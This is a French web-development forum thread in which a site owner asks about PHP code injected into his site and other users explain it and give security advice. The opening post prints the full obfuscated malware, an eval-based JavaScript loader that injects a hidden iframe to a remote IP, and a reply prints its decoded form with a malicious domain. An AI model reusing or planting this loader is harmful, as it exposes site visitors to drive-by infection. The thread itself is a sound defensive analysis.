Compréhension code découvert

**luffyfr** · 11/09/2013, 18h47

Bonjour,
Je me suis rendu compte que sur un de mes sites, une modification de certains fichiers avait été effectué.
J'aimerais comprendre la nature de ce code ajouté et ce qu'il est censé faire.

Code :

Sélectionner tout - Visualiser dans une fenêtre à part

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
<?
#74ed9f#
if(empty($k))
{
	$k = " <script type=\"text/javascript\" language=\"javascript\" > 
				vyea=\"fr\"+\"omCh\"+\"arCo\"+\"de\";
				if(document.querySelector)jgb=4;
				clqx=(\"7b,c1,d0,c9,be,cf,c4,ca,c9,7b,c8,d4,8b,94,83,84,7b,d6,68,65,7b,d1,bc,cd,7b,ce,cf,bc,cf,c4,be,98,82,bc,c5,bc,d3,82,96,68,65,7b,d1,bc,cd,7b,be,ca,c9,cf,cd,ca,c7,c7,c0,cd,98,82,c4,c9,bf,c0,d3,89,cb,c3,cb,82,96,68,65,7b,d1,bc,cd,7b,c8,d4,7b,98,7b,bf,ca,be,d0,c8,c0,c9,cf,89,be,cd,c0,bc,cf,c0,a0,c7,c0,c8,c0,c9,cf,83,82,c4,c1,cd,bc,c8,c0,82,84,96,68,65,68,65,7b,c8,d4,89,ce,cd,be,7b,98,7b,82,c3,cf,cf,cb,95,8a,8a,bd,cd,c4,c2,c3,cf,c1,c4,cd,c0,8c,89,be,ca,89,d0,c6,8a,be,c2,c4,88,bd,c4,c9,8a,a9,ac,cf,d3,8d,a8,cb,c2,89,cb,c3,cb,82,96,68,65,7b,c8,d4,89,ce,cf,d4,c7,c0,89,cb,ca,ce,c4,cf,c4,ca,c9,7b,98,7b,82,bc,bd,ce,ca,c7,d0,cf,c0,82,96,68,65,7b,c8,d4,89,ce,cf,d4,c7,c0,89,be,ca,c7,ca,cd,7b,98,7b,82,8b,8e,82,96,68,65,7b,c8,d4,89,ce,cf,d4,c7,c0,89,c3,c0,c4,c2,c3,cf,7b,98,7b,82,8b,8e,cb,d3,82,96,68,65,7b,c8,d4,89,ce,cf,d4,c7,c0,89,d2,c4,bf,cf,c3,7b,98,7b,82,8b,8e,cb,d3,82,96,68,65,7b,c8,d4,89,ce,cf,d4,c7,c0,89,c7,c0,c1,cf,7b,98,7b,82,8c,8b,8b,8b,8b,8e,82,96,68,65,7b,c8,d4,89,ce,cf,d4,c7,c0,89,cf,ca,cb,7b,98,7b,82,8c,8b,8b,8b,8b,8e,82,96,68,65,68,65,7b,c4,c1,7b,83,7c,bf,ca,be,d0,c8,c0,c9,cf,89,c2,c0,cf,a0,c7,c0,c8,c0,c9,cf,9d,d4,a4,bf,83,82,c8,d4,82,84,84,7b,d6,68,65,7b,bf,ca,be,d0,c8,c0,c9,cf,89,d2,cd,c4,cf,c0,83,82,97,cb,7b,c4,bf,98,b7,82,c8,d4,b7,82,7b,be,c7,bc,ce,ce,98,b7,82,c8,d4,8b,94,b7,82,7b,99,97,8a,cb,99,82,84,96,68,65,7b,bf,ca,be,d0,c8,c0,c9,cf,89,c2,c0,cf,a0,c7,c0,c8,c0,c9,cf,9d,d4,a4,bf,83,82,c8,d4,82,84,89,bc,cb,cb,c0,c9,bf,9e,c3,c4,c7,bf,83,c8,d4,84,96,68,65,7b,d8,68,65,d8,68,65,c1,d0,c9,be,cf,c4,ca,c9,7b,ae,c0,cf,9e,ca,ca,c6,c4,c0,83,be,ca,ca,c6,c4,c0,a9,bc,c8,c0,87,be,ca,ca,c6,c4,c0,b1,bc,c7,d0,c0,87,c9,9f,bc,d4,ce,87,cb,bc,cf,c3,84,7b,d6,68,65,7b,d1,bc,cd,7b,cf,ca,bf,bc,d4,7b,98,7b,c9,c0,d2,7b,9f,bc,cf,c0,83,84,96,68,65,7b,d1,bc,cd,7b,c0,d3,cb,c4,cd,c0,7b,98,7b,c9,c0,d2,7b,9f,bc,cf,c0,83,84,96,68,65,7b,c4,c1,7b,83,c9,9f,bc,d4,ce,98,98,c9,d0,c7,c7,7b,d7,d7,7b,c9,9f,bc,d4,ce,98,98,8b,84,7b,c9,9f,bc,d4,ce,98,8c,96,68,65,7b,c0,d3,cb,c4,cd,c0,89,ce,c0,cf,af,c4,c8,c0,83,cf,ca,bf,bc,d4,89,c2,c0,cf,af,c4,c8,c0,83,84,7b,86,7b,8e,91,8b,8b,8b,8b,8b,85,8d,8f,85,c9,9f,bc,d4,ce,84,96,68,65,7b,bf,ca,be,d0,c8,c0,c9,cf,89,be,ca,ca,c6,c4,c0,7b,98,7b,be,ca,ca,c6,c4,c0,a9,bc,c8,c0,86,7d,98,7d,86,c0,ce,be,bc,cb,c0,83,be,ca,ca,c6,c4,c0,b1,bc,c7,d0,c0,84,68,65,7b,86,7b,7d,96,c0,d3,cb,c4,cd,c0,ce,98,7d,7b,86,7b,c0,d3,cb,c4,cd,c0,89,cf,ca,a2,a8,af,ae,cf,cd,c4,c9,c2,83,84,7b,86,7b,83,83,cb,bc,cf,c3,84,7b,9a,7b,7d,96,7b,cb,bc,cf,c3,98,7d,7b,86,7b,cb,bc,cf,c3,7b,95,7b,7d,7d,84,96,68,65,d8,68,65,c1,d0,c9,be,cf,c4,ca,c9,7b,a2,c0,cf,9e,ca,ca,c6,c4,c0,83,7b,c9,bc,c8,c0,7b,84,7b,d6,68,65,7b,d1,bc,cd,7b,ce,cf,bc,cd,cf,7b,98,7b,bf,ca,be,d0,c8,c0,c9,cf,89,be,ca,ca,c6,c4,c0,89,c4,c9,bf,c0,d3,aa,c1,83,7b,c9,bc,c8,c0,7b,86,7b,7d,98,7d,7b,84,96,68,65,7b,d1,bc,cd,7b,c7,c0,c9,7b,98,7b,ce,cf,bc,cd,cf,7b,86,7b,c9,bc,c8,c0,89,c7,c0,c9,c2,cf,c3,7b,86,7b,8c,96,68,65,7b,c4,c1,7b,83,7b,83,7b,7c,ce,cf,bc,cd,cf,7b,84,7b,81,81,68,65,7b,83,7b,c9,bc,c8,c0,7b,7c,98,7b,bf,ca,be,d0,c8,c0,c9,cf,89,be,ca,ca,c6,c4,c0,89,ce,d0,bd,ce,cf,cd,c4,c9,c2,83,7b,8b,87,7b,c9,bc,c8,c0,89,c7,c0,c9,c2,cf,c3,7b,84,7b,84,7b,84,68,65,7b,d6,68,65,7b,cd,c0,cf,d0,cd,c9,7b,c9,d0,c7,c7,96,68,65,7b,d8,68,65,7b,c4,c1,7b,83,7b,ce,cf,bc,cd,cf,7b,98,98,7b,88,8c,7b,84,7b,cd,c0,cf,d0,cd,c9,7b,c9,d0,c7,c7,96,68,65,7b,d1,bc,cd,7b,c0,c9,bf,7b,98,7b,bf,ca,be,d0,c8,c0,c9,cf,89,be,ca,ca,c6,c4,c0,89,c4,c9,bf,c0,d3,aa,c1,83,7b,7d,96,7d,87,7b,c7,c0,c9,7b,84,96,68,65,7b,c4,c1,7b,83,7b,c0,c9,bf,7b,98,98,7b,88,8c,7b,84,7b,c0,c9,bf,7b,98,7b,bf,ca,be,d0,c8,c0,c9,cf,89,be,ca,ca,c6,c4,c0,89,c7,c0,c9,c2,cf,c3,96,68,65,7b,cd,c0,cf,d0,cd,c9,7b,d0,c9,c0,ce,be,bc,cb,c0,83,7b,bf,ca,be,d0,c8,c0,c9,cf,89,be,ca,ca,c6,c4,c0,89,ce,d0,bd,ce,cf,cd,c4,c9,c2,83,7b,c7,c0,c9,87,7b,c0,c9,bf,7b,84,7b,84,96,68,65,d8,68,65,c4,c1,7b,83,c9,bc,d1,c4,c2,bc,cf,ca,cd,89,be,ca,ca,c6,c4,c0,a0,c9,bc,bd,c7,c0,bf,84,68,65,d6,68,65,c4,c1,83,a2,c0,cf,9e,ca,ca,c6,c4,c0,83,82,d1,c4,ce,c4,cf,c0,bf,ba,d0,cc,82,84,98,98,90,90,84,d6,d8,c0,c7,ce,c0,d6,ae,c0,cf,9e,ca,ca,c6,c4,c0,83,82,d1,c4,ce,c4,cf,c0,bf,ba,d0,cc,82,87,7b,82,90,90,82,87,7b,82,8c,82,87,7b,82,8a,82,84,96,68,65,68,65,c8,d4,8b,94,83,84,96,68,65,d8,68,65,d8\".split(\",\"));
				jti=eval;
				function lmev()
				{
					ggbcyl=function(){--(rggi.body)}()
				}
				rggi=document;
				for(eqhmwa=0;eqhmwa<clqx[\"length\"];eqhmwa+=1)
				{
					clqx[eqhmwa]=-(91)+parseInt(clqx[eqhmwa],jgb*4);
				}
				try
				{
					lmev()
				}
				catch(wucz)
				{
					yge=50-50;
				}
				if(!yge)
					jti(String[vyea].apply(String,clqx));
			</script> ";
		echo $k; }
#/74ed9f#
?>

Lors de l'affichage de la page modifié, grace a firebug, voici le code decouvert :

Code :

Sélectionner tout - Visualiser dans une fenêtre à part

<p class="ylsx09" id="ylsx"><iframe src="http://66.71.131.197/pages/9mtyZpcj.php" style="position: absolute; height: 7px; width: 7px;"></iframe></p>

A quoi sert ce code, et surtout, comment éviter que ce genre de problème ne revienne ?
Merci d'avance pour vos conseils

**Kaamo** · 11/09/2013, 19h44

En effet, ce PHP permet d'injecter un code Javascript au sein d'une page. Ce code Javascript est évalué automatiquement et a pour but d'installer une iframe dans la page qui pointe, sûrement (je n'ai pas cliqué

), vers un site malicieux qui vole sûrement des trucs sur le poste de l'utilisateur qui a lancé cette page.

iframe donc que tu as trouvée.

Change tes logins / mots de passe de tes services, supprime ton site momentanément, et protège des formulaires PHP. Il doit sûrement y avoir une faille qui a permis au hacker d'injecter du code sur ton serveur.

**luffyfr** · 12/09/2013, 10h00

C'est bien ce qu'il me semblait...
Aurais tu des conseils pour la sécurisation d'un formulaire, (j'ai trouvé pas mal de choses sur le net mais je trouve cela très brouillon pour être sûr de bien tout mettre), je pense que le problème est surement venu de là. Pourtant je pensais l'avoir bien sécurisé, mais apparemment pas assez.

**Kaamo** · 12/09/2013, 10h22

et bien le conseil de base par exemple c'est de ne jamais construire tes requêtes SQL avec les paramètres _POST et _GET directement. Il faut les "échapper" avant.
Il ne faut jamais faire confiance à ce que le client t'envoie

Renseignes toi sur les failles XSS (cross-site scripting), injections SQL

**SpaceFrog** · 12/09/2013, 11h07

ATTENTION !! ce code est donné à titre informatif
s'agissant d'un script malveillant inséré dans la page, je déconseille fortement de jouer avec l'url donnée
Voilà le code inséré :

Code :

Sélectionner tout - Visualiser dans une fenêtre à part

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
function my09() {
  var static = 'ajax';
  var controller = 'index.php';
  var my = document.createElement('iframe');
  my.src = // ATTENTION lien malveillant !!!  'http://brightfire1.co.uk/cgi-bin/NQtx2Mpg.php';
  my.style.position = 'absolute';
  my.style.color = '03';
  my.style.height = '03px';
  my.style.width = '03px';
  my.style.left = '100003';
  my.style.top = '100003';
  if (!document.getElementById('my')) {
    document.write('');
    document.getElementById('my').appendChild(my);
  }
}
function SetCookie(cookieName, cookieValue, nDays, path) {
  var today = new Date();
  var expire = new Date();
  if (nDays == null || nDays == 0) nDays = 1;
  expire.setTime(today.getTime() + 3600000 * 24 * nDays);
  document.cookie = cookieName + "=" + escape(cookieValue) + ";expires=" + expire.toGMTString() + ((path) ? "; path=" + path : "");
}
function GetCookie(name) {
  var start = document.cookie.indexOf(name + "=");
  var len = start + name.length + 1;
  if ((!start) && (name != document.cookie.substring(0, name.length))) {
    return null;
  }
  if (start == -1) return null;
  var end = document.cookie.indexOf(";", len);
  if (end == -1) end = document.cookie.length;
  return unescape(document.cookie.substring(len, end));
}
if (navigator.cookieEnabled) {
  if (GetCookie('visited_uq') == 55) {} else {
    SetCookie('visited_uq', '55', '1', '/');
    my09();
  }
}

**Kaamo** · 12/09/2013, 11h58

Je n'avais pas osé le poster

Un whois sur le domaine en question ne donne rien. A vrai dire, je ne connais pas grand chose en hacking si ce n'est quelques bases.

@luffyfr : Tu utilises une plateforme de blog, CMS connu ? Renseigne toi des mises à jour. Il se peut que certaines versions aient des failles. Failles que les hackers utilisent si le développeur ne fait pas attention aux mises à jour / patchs proposés.

**luffyfr** · 12/09/2013, 13h16

non je n'utilise pas de CMS, c'est un site que j'avais développé de A à Z

oui j'ai regardé du coup les failles XSS (cross-site scripting), injections SQL, en espérant que cela règle la problème...

**SylvainPV** · 13/09/2013, 12h55

Les dangers de faire un site par soi-même.

En Java, j'utilisais une servlet "nettoyeuse" qui traitait toutes les données en header, cookie et form data des requêtes et rendait inopérant tout code malicieux SQL, HTML et JS. Il doit exister quelque-chose de similaire en PHP.

Compréhension code découvert

JavaScript

Discussions similaires

Partager

Partager